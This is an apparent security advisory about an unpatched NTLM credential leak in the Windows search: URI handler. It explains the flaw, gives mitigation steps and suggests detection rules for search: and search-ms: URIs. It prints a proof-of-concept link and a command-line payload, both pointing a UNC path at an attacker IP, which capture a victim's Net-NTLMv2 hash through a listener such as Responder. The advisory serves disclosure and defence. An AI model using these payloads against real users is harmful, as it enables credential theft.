NTLM Credential Leakage Bug In The Windows Search: URI Handler

Share:

An unpatched NTLM credential leakage vulnerability exists in the Windows search: URI handler. Discovered and reported by Huntress analyst Andrew Schwartz, the flaw allows an external attacker to coerce a victim’s machine into initiating an outbound SMB connection, leaking the user’s Net-NTLMv2 authentication hash.

The technical primitive mirrors CVE-2026-33829 (a patched vulnerability in the Windows Snipping Tool). Despite sharing the exact same security impact, prerequisites, and “Moderate” severity classification, the Microsoft Security Response Center (MSRC) declined to issue a CVE or a patch, stating that servicing for Moderate bugs is “exception-driven”.

Severity: Moderate

Vulnerability Overview

  • Vulnerability Type: Improper Input Validation / NTLM Credential Leakage.
  • Impacted Component: ExplorerFrame.dll via the SearchExecute (or CLSID_SearchMSExecute) COM class.
  • Affected Platforms: Confirmed on Windows 11 Pro (including 25H2 Pro, Build 26200.8524).
  • Attack Vector: Remote / Social Engineering (via link-click or command execution).
  • MSRC clarified that they typically only service Important and Critical bugs. Because both flaws were Moderate, CVE-2026-33829 was an “exception to standard processes,” leaving the search: URI variant completely unpatched.

The Primitive & Execution Path

  • The flaw lies in how Windows handles the search: URI scheme registered in the Windows Registry (HKCR\search\shell\open\command). This scheme, along with its sister scheme search-ms:, utilizes a DelegateExecute handler pointing to CLSID {90b9bce2-b6ab-4fd3-8451-55917ea101b}.
  • When the search: handler accepts a crumb=location: parameter pointing to a remote Universal Naming Convention (UNC) path, it fails to validate the path before passing it to the underlying Explorer code.
  • An attacker can invoke this by enticing a user to click a maliciously crafted link (e.g., in a web browser like Edge or an email):
  • <a href=”search:query=test&crumb=location:\\10.0.1.100\share”>click</a>
  • Alternatively, it can be executed via the command line:
  • start “” “search:query=test&crumb=location:\10.0.1.100\share”

Exploit Mechanics

  1. The Click: The user clicks the link or executes the command. No security prompts are shown to the user.
  2. The Authentication Request: Windows automatically attempts to authenticate against the specified attacker-controlled IP address via SMB.
  3. The Leak: The victim’s Net-NTLMv2 hash is transmitted to the attacker’s listener (e.g., Responder).
  4. The Client Error: Only after the hash has already leaked does Windows render an error dialogue reading, “Windows cannot access the specified device, path, or file.”

Note on Behavior: This leak only triggers on the first invocation per user logon session. Subsequent attempts return an access denied error without leaking the hash until the user logs out & logs back in.

Recommendations

  1. Restrict outbound TCP/445 and TCP/139 at the network perimeter for all hosts that do not have an explicit business need. This effectively stops Net-NTLMv2 hashes from escaping the network.
  2. Enforce SMB Signing to ensure that even if hashes are captured within the network, they cannot be readily utilized in NTLM relay attacks against internal services.
  3. Restrict outbound NTLM traffic by configuring the RestrictSendingNTLMTraffic registry audit/block policy to 2 (Deny all). (Note: Audit this first to prevent breaking legacy systems).
  4. Implement detection rules in mail gateways and proxy logs, and EDR solutions to flag any traffic or process executions utilizing search: and search-ms: URIs, as these are rarely seen in legitimate external traffic.

Source:

  • https://www.huntress.com/blog/unpatched-ntlm-leak-windows-search-uri-handler

Enjoyed reading this Threat Intelligence Advisory? Stay updated with our latest exclusive content by following us on Twitter and LinkedIn

No related posts found.

×

7th August 2026

New Delhi, India

Know more
Talk to an expert